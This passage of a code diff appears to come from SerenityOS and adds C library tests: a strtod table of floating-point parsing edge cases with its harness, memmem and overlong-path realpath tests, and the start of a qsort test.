{ "AHN22", 0, "0000000000000000", "-+12.34" },
|
||||
|
||||
// For a better description, see:
|
||||
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
|
||||
// (Comments removed for ease of format conversion.)
|
||||
// My machine generates the NaN "fff8000000000000" for 0/0, so I replaced the "correct" result by that.
|
||||
{ "F0", -1, "348834c13cbf331d", "12.34E-56" },
|
||||
{ "F1", -1, "c07c800000000000", "-456." },
|
||||
{ "F2", -1, "405ec00000000000", "+123" },
|
||||
{ "F3", -1, "7ff8000000000000", "nan" },
|
||||
{ "F4", -1, "7ff8000000000000", "NaN" },
|
||||
{ "F5", -1, "7ff8000000000000", "NAN" },
|
||||
{ "F6", -1, "7ff0000000000000", "inf" },
|
||||
{ "F7", -1, "7ff0000000000000", "Inf" },
|
||||
{ "F8", -1, "7ff0000000000000", "INF" },
|
||||
{ "F9", -1, "fff0000000000000", "-inf" },
|
||||
{ "F10", -1, "7ff0000000000000", "+inF" },
|
||||
{ "F11", -1, "7ff0000000000000", "+INF" },
|
||||
{ "F12", -1, "3ff0000000000000", "1.0" },
|
||||
{ "F13", -1, "4059000000000000", "1e2" },
|
||||
{ "F14", -1, "44ada56a4b0835c0", "7.e22" },
|
||||
{ "F15", -1, "44ada56a4b0835c0", "7.0e22" },
|
||||
{ "F16", -1, "44ada56a4b0835c0", "7.0e+22" },
|
||||
{ "F17", -1, "3b8a71fc0e147309", "7.0e-22" },
|
||||
{ "F18", -1, "c02699999999999a", "-1.13e1" },
|
||||
{ "F19", -1, "402699999999999a", "+1.13e+1" },
|
||||
{ "F20", -1, "36e069d1347fd4b5", "23e-45" },
|
||||
{ "F21", -1, "402a000000000000", ".13e2" },
|
||||
{ "F22", -1, "beb5cf751db94e6b", "-.13e-5" },
|
||||
{ "F23", -1, "405ec00000000000", "123" },
|
||||
{ "F24", -1, "7ff8000000000000", "+nan" },
|
||||
{ "F25", -1, "7ff0000000000000", "infinity" },
|
||||
{ "F26", -1, "7ff0000000000000", "Infinity" },
|
||||
{ "F27", 3, "7ff8000000000000", "nan(type-0)" },
|
||||
{ "F28", 4, "7ff8000000000000", "+nan(catch_22)" },
|
||||
{ "F29", -1, "7ff0000000000000", "INFINITY" },
|
||||
{ "F30", -1, "3ff0000000000000", "0.00000001e+8" },
|
||||
{ "F31", -1, "fff0000000000000", "-infinity" },
|
||||
{ "F32", -1, "3705f1a59c73408e", "123.e-45" },
|
||||
{ "F33", -1, "4085300000000000", "678." },
|
||||
{ "F34", 4, "fff8000000000000", "-nan()" },
|
||||
{ "C0", -1, "0000000000000000", "0.000e+00" },
|
||||
{ "C1", -1, "0000000000000000", "1e-400" },
|
||||
{ "C2", -1, "0000000000000000", "2.4703282292062326e-324" },
|
||||
{ "C3", -1, "0000000000000000", "2.4703282292062327e-324" },
|
||||
{ "C4", -1, "0000000000000001", "2.4703282292062328e-324" },
|
||||
{ "C5", -1, "0000000000000001", "4.9406564584124654e-324" },
|
||||
{ "C6", -1, "00000000000007e8", "1e-320" },
|
||||
{ "C7", -1, "000fffffffffffff", "2.2250738585072009e-308" },
|
||||
{ "C8", -1, "0010000000000000", "2.2250738585072014e-308" },
|
||||
{ "C9", -1, "3abef2d0f5da7dd9", "1e-25" },
|
||||
{ "C10", -1, "3b282db34012b251", "1.0e-23" },
|
||||
{ "C11", -1, "3ff3c0ca428c59fb", "1.2345678901234567890" },
|
||||
{ "C12", -1, "402699999999999a", "1.13e1" },
|
||||
{ "C13", -1, "43e158e460913d00", "1e+19" },
|
||||
{ "C14", -1, "449017f7df96be18", "1.9e+22" },
|
||||
{ "C15", -1, "4496deb1154f79ec", "2.7e22" },
|
||||
{ "C16", -1, "449a420db02bd7d6", "3.1e22" },
|
||||
{ "C17", -1, "44ada56a4b0835c0", "7e22" },
|
||||
{ "C18", -1, "7fefffffffffffff", "1.7976931348623158e+308" },
|
||||
{ "C19", -1, "7ff0000000000000", "1.7976931348623159e+308" },
|
||||
{ "C20", -1, "7ff0000000000000", "1e+400" },
|
||||
{ "C21", -1, "000fffffffffffff", "2.225073858507201136057409796709131975934819546351645648023426109724822222021076945516529523908135087914149158913039621106870086438694594645527657207407820621743379988141063267329253552286881372149012981122451451889849057222307285255133155755015914397476397983411801999323962548289017107081850690630666655994938275772572015763062690663332647565300009245888316433037779791869612049497390377829704905051080609940730262937128958950003583799967207254304360284078895771796150945516748243471030702609144621572289880258182545180325707018860872113128079512233426288368622321503775666622503982534335974568884423900265498198385487948292206894721689831099698365846814022854243330660339850886445804001034933970427567186443383770486037861622771738545623065874679014086723327636718749999999999999999999999999999999999999e-308" },
|
||||
{ "C22", -1, "0010000000000000", "2.22507385850720113605740979670913197593481954635164564802342610972482222202107694551652952390813508791414915891303962110687008643869459464552765720740782062174337998814106326732925355228688137214901298112245145188984905722230728525513315575501591439747639798341180199932396254828901710708185069063066665599493827577257201576306269066333264756530000924588831643303777979186961204949739037782970490505108060994073026293712895895000358379996720725430436028407889577179615094551674824347103070260914462157228988025818254518032570701886087211312807951223342628836862232150377566662250398253433597456888442390026549819838548794829220689472168983109969836584681402285424333066033985088644580400103493397042756718644338377048603786162277173854562306587467901408672332763671875e-308" },
|
||||
{ "C23", -1, "0010000000000000", "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000222507385850720138309023271733240406421921598046233183055332741688720443481391819585428315901251102056406733973103581100515243416155346010885601238537771882113077799353200233047961014744258363607192156504694250373420837525080665061665815894872049117996859163964850063590877011830487479978088775374994945158045160505091539985658247081864511353793580499211598108576605199243335211435239014879569960959128889160299264151106346631339366347758651302937176204732563178148566435087212282863764204484681140761391147706280168985324411002416144742161856716615054015428508471675290190316132277889672970737312333408698898317506783884692609277397797285865965494109136909540613646756870239867831529068098461721092462539672851562500000000000000001" },
|
||||
{ "C24", -1, "7ff0000000000000", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497792" },
|
||||
{ "C25", -1, "7fefffffffffffff", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497791.9999999999999999999999999999999999999999999999999999999999999999999999" },
|
||||
{ "C26", -1, "0010000000000000", "2.2250738585072012e-308" },
|
||||
{ "C27", -1, "0006123400000001", "8.44291197326099e-309" },
|
||||
{ "C28", -1, "42c0000000000000", "35184372088831.999999999999999999999999999999999999" },
|
||||
{ "C29", -1, "0000000000000000", "2.47032822920623272e-324" },
|
||||
{ "C30", -1, "3ff199999999999a", "1.100000000000000088817841970012523233890533447265626" },
|
||||
{ "C31", -1, "3f847ae147ae147b", ".010000000000000000057612911342378542997169" },
|
||||
{ "C32", -1, "3ffd34fd8378ea83", "1.8254370818746402660437411213933955878019332885742187" },
|
||||
{ "C33", -1, "43389e56ee5e7a58", "6929495644600919.5" },
|
||||
{ "C34", -1, "432a9d28ff412a75", "3.7455744005952583e15" },
|
||||
{ "C35", -1, "000fffffffffffff", "2.2250738585072011e-308" },
|
||||
{ "C36", -1, "4c20000000000001", "5.0216813883093451685872615018317116712748411717802652598273e58" },
|
||||
{ "C37", -1, "0000000008000000", "6.631236871469758276785396630275967243399099947355303144249971758736286630139265439618068200788048744105960420552601852889715006376325666595539603330361800519107591783233358492337208057849499360899425128640718856616503093444922854759159988160304439909868291973931426625698663157749836252274523485312442358651207051292453083278116143932569727918709786004497872322193856150225415211997283078496319412124640111777216148110752815101775295719811974338451936095907419622417538473679495148632480391435931767981122396703443803335529756003353209830071832230689201383015598792184172909927924176339315507402234836120730914783168400715462440053817592702766213559042115986763819482654128770595766806872783349146967171293949598850675682115696218943412532098591327667236328125E-316" },
|
||||
{ "C38", -1, "0000000000010000", "3.237883913302901289588352412501532174863037669423108059901297049552301970670676565786835742587799557860615776559838283435514391084153169252689190564396459577394618038928365305143463955100356696665629202017331344031730044369360205258345803431471660032699580731300954848363975548690010751530018881758184174569652173110473696022749934638425380623369774736560008997404060967498028389191878963968575439222206416981462690113342524002724385941651051293552601421155333430225237291523843322331326138431477823591142408800030775170625915670728657003151953664260769822494937951845801530895238439819708403389937873241463484205608000027270531106827387907791444918534771598750162812548862768493201518991668028251730299953143924168545708663913273994694463908672332763671875E-319" },
|
||||
{ "C39", -1, "0000800000000100", "6.953355807847677105972805215521891690222119817145950754416205607980030131549636688806115726399441880065386399864028691275539539414652831584795668560082999889551357784961446896042113198284213107935110217162654939802416034676213829409720583759540476786936413816541621287843248433202369209916612249676005573022703244799714622116542188837770376022371172079559125853382801396219552418839469770514904192657627060319372847562301074140442660237844114174497210955449896389180395827191602886654488182452409583981389442783377001505462015745017848754574668342161759496661766020028752888783387074850773192997102997936619876226688096314989645766000479009083731736585750335262099860150896718774401964796827166283225641992040747894382698751809812609536720628966577351093292236328125E-310" },
|
||||
{ "C40", -1, "0000000000010800", "3.339068557571188581835713701280943911923401916998521771655656997328440314559615318168849149074662609099998113009465566426808170378434065722991659642619467706034884424989741080790766778456332168200464651593995817371782125010668346652995912233993254584461125868481633343674905074271064409763090708017856584019776878812425312008812326260363035474811532236853359905334625575404216060622858633280744301892470300555678734689978476870369853549413277156622170245846166991655321535529623870646888786637528995592800436177901746286272273374471701452991433047257863864601424252024791567368195056077320885329384322332391564645264143400798619665040608077549162173963649264049738362290606875883456826586710961041737908872035803481241600376705491726170293986797332763671875E-319" },
|
||||
{ "C41", -1, "4e3fa69165a8eea2", "8.533e+68" },
|
||||
{ "C42", -1, "19dbe0d1c7ea60c9", "4.1006e-184" },
|
||||
{ "C43", -1, "7fe1cc0a350ca87b", "9.998e+307" },
|
||||
{ "C44", -1, "0602117ae45cde43", "9.9538452227e-280" },
|
||||
{ "C45", -1, "0a1fdd9e333badad", "6.47660115e-260" },
|
||||
{ "C46", -1, "49e033d7eca0adef", "7.4e+47" },
|
||||
{ "C47", -1, "4a1033d7eca0adef", "5.92e+48" },
|
||||
{ "C48", -1, "4dd172b70eababa9", "7.35e+66" },
|
||||
{ "C49", -1, "4b8b2628393e02cd", "8.32116e+55" },
|
||||
{ "C50", -1, "bfed35696e58a32f", "-0.91276999999999997026378650843980722129344940185546876" },
|
||||
{ "C51", -1, "c070a3d70a3d70a4", "-266.240000000000009094947017729282379150390624" },
|
||||
{ "C52", -1, "3c97cb9433617c9c", "8.255628858767918002472043289952338102302250764062685473021474535926245152950286865234374e-17" },
|
||||
{ "C53", -1, "43405e6cec57761a", "9214843084008499" },
|
||||
{ "C54", -1, "3fe0000000000002", "0.500000000000000166533453693773481063544750213623046875" },
|
||||
{ "C55", -1, "42c0000000000002", "3.518437208883201171875e13" },
|
||||
{ "C56", -1, "404f44abd5aa7ca4", "62.5364939768271845828" },
|
||||
{ "C57", -1, "3e0bd5cbaef0fd0c", "8.10109172351e-10" },
|
||||
{ "C58", -1, "3ff8000000000000", "1.50000000000000011102230246251565404236316680908203125" },
|
||||
{ "C59", -1, "433fffffffffffff", "9007199254740991.4999999999999999999999999999999995" },
|
||||
{ "C60", -1, "44997a3c7271b021", "30078505129381147446200" },
|
||||
{ "C61", -1, "4458180d5bad2e3e", "1777820000000000000001" },
|
||||
{ "C62", -1, "3fe0000000000002", "0.50000000000000016656055874808561867439493653364479541778564453125" },
|
||||
{ "C63", -1, "3fd92bb352c4623a", "0.3932922657273" },
|
||||
{ "C64", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328124999e-324" },
|
||||
{ "C65", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125e-324" },
|
||||
{ "C66", -1, "0000000000000001", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125001e-324" },
|
||||
{ "C67", -1, "0000000000000001", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984374999e-324" },
|
||||
{ "C68", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375e-324" },
|
||||
{ "C69", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375001e-324" },
|
||||
{ "C70", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708031999e+307" },
|
||||
{ "C71", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032e+307" },
|
||||
{ "C72", -1, "7fe0000000000001", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429648741514697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032001e+307" },
|
||||
{ "C73", -1, "3ff0000010000000", "1.00000005960464477550" },
|
||||
{ "C74", -1, "36c6000000000000", "7.7071415537864938e-45" },
|
||||
{ "C75", -1, "0000000000000000", "2183167012312112312312.23538020374420446192e-370" },
|
||||
{ "C76", -1, "0006c9a143590c14", "94393431193180696942841837085033647913224148539854e-358" },
|
||||
{ "C77", -1, "3ff0000000000000", "99999999999999994487665465554760717039532578546e-47" },
|
||||
{ "C78", -1, "44b52d02c7e14af6", "10000000000000000000000000000000000000000e-17" },
|
||||
{ "C79", -1, "0007802665fd9600", "104308485241983990666713401708072175773165034278685682646111762292409330928739751702404658197872319129036519947435319418387839758990478549477777586673075945844895981012024387992135617064532141489278815239849108105951619997829153633535314849999674266169258928940692239684771590065027025835804863585454872499320500023126142553932654370362024104462255244034053203998964360882487378334860197725139151265590832887433736189468858614521708567646743455601905935595381852723723645799866672558576993978025033590728687206296379801363024094048327273913079612469982585674824156000783167963081616214710691759864332339239688734656548790656486646106983450809073750535624894296242072010195710276073042036425579852459556183541199012652571123898996574563824424330960027873516082763671875e-1075" },
|
||||
{ "C80", -1, "4025cccccccccccd", "10.900000000000000012345678912345678912345" },
|
||||
|
||||
// Hexadecimal floats.
|
||||
// Note that "0x579a" is "0xabcd << 1" with the top bit cut off, just as expected.
|
||||
{ "Fp1", -1, "7c2579a000000000", "0xab.cdpef" },
|
||||
// Sneaky floating point :P
|
||||
{ "Fp2", -1, "43e9400000000000", "0xCAPE" },
|
||||
};
|
||||
|
||||
constexpr size_t NUM_TESTCASES = sizeof(TESTCASES) / sizeof(TESTCASES[0]);
|
||||
|
||||
typedef double (*strtod_fn_t)(const char* str, char** endptr);
|
||||
|
||||
static long long cast_ll(double d)
|
||||
{
|
||||
union readable_t {
|
||||
double as_double;
|
||||
long long as_ll;
|
||||
};
|
||||
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto double_size = sizeof(assert_double_8bytes);
|
||||
typedef char assert_ll_8bytes[sizeof(long long) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto longlong_size = sizeof(assert_ll_8bytes);
|
||||
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto readable8_size = sizeof(assert_readable_8bytes);
|
||||
readable_t readable;
|
||||
readable.as_double = d;
|
||||
return readable.as_ll;
|
||||
}
|
||||
|
||||
static bool is_strtod_close(strtod_fn_t strtod_fn, const char* test_string, const char* expect_hex, int expect_consume, long long expect_ll)
|
||||
{
|
||||
union readable_t {
|
||||
double as_double;
|
||||
unsigned char as_bytes[8];
|
||||
};
|
||||
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto double_size = sizeof(assert_double_8bytes);
|
||||
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto readable8_size = sizeof(assert_readable_8bytes);
|
||||
readable_t readable;
|
||||
char* endptr = (char*)0x123;
|
||||
|
||||
readable.as_double = strtod_fn(test_string, &endptr);
|
||||
|
||||
char actual_hex[16 + 1] = { 0 };
|
||||
for (size_t i = 0; i < 8; ++i) {
|
||||
// Little endian, need to reverse order.
|
||||
snprintf(&actual_hex[2 * i], 3, "%02x", readable.as_bytes[8 - 1 - i]);
|
||||
}
|
||||
|
||||
bool actual_consume_possible = false;
|
||||
int actual_consume;
|
||||
|
||||
if (endptr < test_string) {
|
||||
actual_consume = 999;
|
||||
} else {
|
||||
const char* max_endptr = test_string + strlen(test_string);
|
||||
actual_consume_possible = endptr <= max_endptr;
|
||||
actual_consume = endptr - test_string;
|
||||
}
|
||||
|
||||
long long actual_ll = cast_ll(readable.as_double);
|
||||
long long off_by = expect_ll - actual_ll;
|
||||
|
||||
bool ofby1_hex = off_by != 0 && -LENIENCY <= off_by && off_by <= LENIENCY;
|
||||
bool wrong_hex = !ofby1_hex && strcmp(expect_hex, actual_hex) != 0;
|
||||
bool error_cns = !actual_consume_possible;
|
||||
bool wrong_cns = !error_cns && (actual_consume != expect_consume);
|
||||
|
||||
printf(" %s%s%s(%s%2u%s)",
|
||||
ofby1_hex ? TEXT_OFBY1 : wrong_hex ? TEXT_WRONG
|
||||
: "",
|
||||
actual_hex,
|
||||
(ofby1_hex || wrong_hex) ? TEXT_RESET : "",
|
||||
error_cns ? TEXT_ERROR : wrong_cns ? TEXT_WRONG
|
||||
: "",
|
||||
actual_consume,
|
||||
(error_cns || wrong_cns) ? TEXT_RESET : "");
|
||||
|
||||
return !(wrong_hex || error_cns || wrong_cns);
|
||||
}
|
||||
|
||||
static long long hex_to_ll(const char* hex)
|
||||
{
|
||||
long long result = 0;
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
char ch = *(hex + i);
|
||||
int digit;
|
||||
if ('0' <= ch && ch <= '9') {
|
||||
digit = ch - '0';
|
||||
} else if ('a' <= ch && ch <= 'f') {
|
||||
digit = ch - 'a' + 10;
|
||||
} else {
|
||||
printf("\n!!! Encountered char %02x at %d.\n", ch, i);
|
||||
assert(false);
|
||||
}
|
||||
result <<= 4;
|
||||
result += digit;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
if (sizeof(size_t) != 4) {
|
||||
printf("lolwut?!\n");
|
||||
return 1;
|
||||
}
|
||||
printf("Running %lu testcases...\n", NUM_TESTCASES);
|
||||
printf("%3s(%-5s): %16s(%2s) %16s(%2s) %16s(%2s) %16s(%2s) – %s\n", "num", "name", "correct", "cs", "builtin", "cs", "old_strtod", "cs", "new_strtod", "cs", "teststring");
|
||||
|
||||
int successes = 0;
|
||||
int fails = 0;
|
||||
for (size_t i = 0; i < NUM_TESTCASES; i++) {
|
||||
Testcase& tc = TESTCASES[i];
|
||||
if (tc.should_consume == -1) {
|
||||
tc.should_consume = strlen(tc.test_string);
|
||||
}
|
||||
printf("%3lu(%-5s):", i, tc.test_name);
|
||||
printf(" %s(%2d)", tc.hex, tc.should_consume);
|
||||
long long expect_ll = hex_to_ll(tc.hex);
|
||||
|
||||
bool success = false;
|
||||
success = is_strtod_close(strtod, tc.test_string, tc.hex, tc.should_consume, expect_ll);
|
||||
printf(" from %s\n", tc.test_string);
|
||||
|
||||
if (success) {
|
||||
successes += 1;
|
||||
} else {
|
||||
fails += 1;
|
||||
}
|
||||
}
|
||||
printf("Out of %lu tests, saw %d successes and %d fails.\n", NUM_TESTCASES, successes, fails);
|
||||
if (fails != 0) {
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS (with leniency up to %lld ULP from the exact solution.\n", LENIENCY);
|
||||
return 0;
|
||||
}
|
51
Tests/LibC/memmem-tests.cpp
Normal file
51
Tests/LibC/memmem-tests.cpp
Normal file
|
@ -0,0 +1,51 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ali Mohammad Pur <mpfard@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct TestCase {
|
||||
const u8* haystack;
|
||||
size_t haystack_length;
|
||||
const u8* needle;
|
||||
size_t needle_length;
|
||||
ssize_t matching_offset { -1 };
|
||||
};
|
||||
|
||||
const static TestCase g_test_cases[] = {
|
||||
{ (const u8*) {}, 0u, (const u8*) {}, 0u, 0 },
|
||||
{ (const u8[]) { 1, 2, 3 }, 3u, (const u8[]) { 1, 2, 3 }, 3u, 0 },
|
||||
{ (const u8[]) { 1, 2, 4 }, 3u, (const u8[]) { 1, 2, 3 }, 3u, -1 },
|
||||
{ (const u8*)"abcdef", 6u, (const u8[]) {}, 0u, 0 },
|
||||
{ (const u8*)"abcdef", 6u, (const u8*)"de", 2u, 3 },
|
||||
{ (const u8[]) { 0, 1, 2, 5, 2, 5 }, 6u, (const u8[]) { 1 }, 1u, 1 },
|
||||
{ (const u8[]) { 0, 1, 2, 5, 2, 5 }, 6u, (const u8[]) { 1, 2 }, 2u, 1 },
|
||||
{ (const u8[]) { 0, 1, 1, 2 }, 4u, (const u8[]) { 1, 5 }, 2u, -1 },
|
||||
{ (const u8[64]) { 0 }, 64u, (const u8[33]) { 0 }, 33u, 0 },
|
||||
{ (const u8[64]) { 0, 1, 1, 2 }, 64u, (const u8[33]) { 1, 1 }, 2u, 1 },
|
||||
};
|
||||
|
||||
int main()
|
||||
{
|
||||
bool failed = false;
|
||||
size_t i = 0;
|
||||
for (const auto& test_case : g_test_cases) {
|
||||
auto expected = test_case.matching_offset >= 0 ? test_case.haystack + test_case.matching_offset : nullptr;
|
||||
auto result = memmem(test_case.haystack, test_case.haystack_length, test_case.needle, test_case.needle_length);
|
||||
if (result != expected) {
|
||||
failed = true;
|
||||
fprintf(stderr, "Test %zu FAILED! expected %p, got %p\n", i, expected, result);
|
||||
}
|
||||
++i;
|
||||
}
|
||||
|
||||
printf(failed ? "FAIL\n" : "PASS\n");
|
||||
return failed ? 1 : 0;
|
||||
}
|
94
Tests/LibC/overlong_realpath.cpp
Normal file
94
Tests/LibC/overlong_realpath.cpp
Normal file
|
@ -0,0 +1,94 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/String.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// FIXME
|
||||
static const char* TEXT_FAIL = "\x1b[01;31m";
|
||||
static const char* TEXT_PASS = "\x1b[01;32m";
|
||||
static const char* TEXT_RESET = "\x1b[0m";
|
||||
|
||||
static const char* TMPDIR_PATTERN = "/tmp/overlong_realpath_XXXXXX";
|
||||
static const char* PATH_LOREM_250 = "This-is-an-annoyingly-long-name-that-should-take-up-exactly-two-hundred-and-fifty-characters-and-is-surprisingly-difficult-to-fill-with-reasonably-meaningful-text-which-is-necessary-because-that-makes-it-easier-for-my-eyes-to-spot-any-corruption-fast";
|
||||
|
||||
static const size_t ITERATION_DEPTH = 17;
|
||||
|
||||
static bool check_result(const char* what, const String& expected, const char* actual)
|
||||
{
|
||||
bool good = expected == actual;
|
||||
printf("%s%s%s: %s = \"%s\" (%zu characters)\n", good ? TEXT_PASS : TEXT_FAIL, good ? "GOOD" : "FAIL", TEXT_RESET, what, actual, actual ? strlen(actual) : 0);
|
||||
return good;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// We want to construct a path that is over PATH_MAX characters long.
|
||||
// This cannot be done in a single step.
|
||||
|
||||
// First, switch to a known environment:
|
||||
char* tmp_dir = strdup("/tmp/overlong_realpath_XXXXXX");
|
||||
if (!mkdtemp(tmp_dir)) {
|
||||
perror("mkdtmp");
|
||||
return 1;
|
||||
}
|
||||
if (chdir(tmp_dir) < 0) {
|
||||
perror("chdir tmpdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Then, create a long path.
|
||||
StringBuilder expected;
|
||||
expected.append(tmp_dir);
|
||||
|
||||
// But first, demonstrate the functionality at a reasonable depth:
|
||||
bool all_good = true;
|
||||
auto expected_str = expected.build();
|
||||
all_good &= check_result("getwd", expected_str, getwd(static_cast<char*>(calloc(1, PATH_MAX))));
|
||||
all_good &= check_result("getcwd", expected_str, getcwd(nullptr, 0));
|
||||
all_good &= check_result("realpath", expected_str, realpath(".", nullptr));
|
||||
|
||||
for (size_t i = 0; i < ITERATION_DEPTH; ++i) {
|
||||
if (mkdir(PATH_LOREM_250, 0700) < 0) {
|
||||
perror("mkdir iter");
|
||||
printf("%sFAILED%s in iteration %zu.\n", TEXT_FAIL, TEXT_RESET, i);
|
||||
return 1;
|
||||
}
|
||||
expected.append('/');
|
||||
expected.append(PATH_LOREM_250);
|
||||
if (chdir(PATH_LOREM_250) < 0) {
|
||||
perror("chdir iter");
|
||||
printf("%sFAILED%s in iteration %zu.\n", TEXT_FAIL, TEXT_RESET, i);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
printf("cwd should now be ridiculously large.\n");
|
||||
|
||||
// Evaluate
|
||||
expected_str = expected.build();
|
||||
|
||||
all_good &= check_result("getwd", {}, getwd(static_cast<char*>(calloc(1, PATH_MAX))));
|
||||
all_good &= check_result("getcwd", expected_str, getcwd(nullptr, 0));
|
||||
all_good &= check_result("realpath", expected_str, realpath(".", nullptr));
|
||||
|
||||
VERIFY(strlen(PATH_LOREM_250) == 250);
|
||||
VERIFY(strlen(TMPDIR_PATTERN) + ITERATION_DEPTH * (1 + strlen(PATH_LOREM_250)) == expected_str.length());
|
||||
VERIFY(expected_str.length() > PATH_MAX);
|
||||
|
||||
if (all_good) {
|
||||
printf("Overall: %sPASS%s\n", TEXT_PASS, TEXT_RESET);
|
||||
return 0;
|
||||
} else {
|
||||
printf("Overall: %sFAIL%s\n", TEXT_FAIL, TEXT_RESET);
|
||||
return 2;
|
||||
}
|
||||
}
|
80
Tests/LibC/qsort-sorts-and-copies.cpp
Normal file
80
Tests/LibC/qsort-sorts-and-copies.cpp
Normal file
|
@ -0,0 +1,80 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Sahan Fernando <sahan.h.fernando@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/QuickSort.h>
|
||||
#include <AK/String.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
const size_t NUM_RUNS = 100;
|
||||
|
||||
struct SortableObject {
|
||||
int m_key;
|
||||
int m_payload;
|
||||
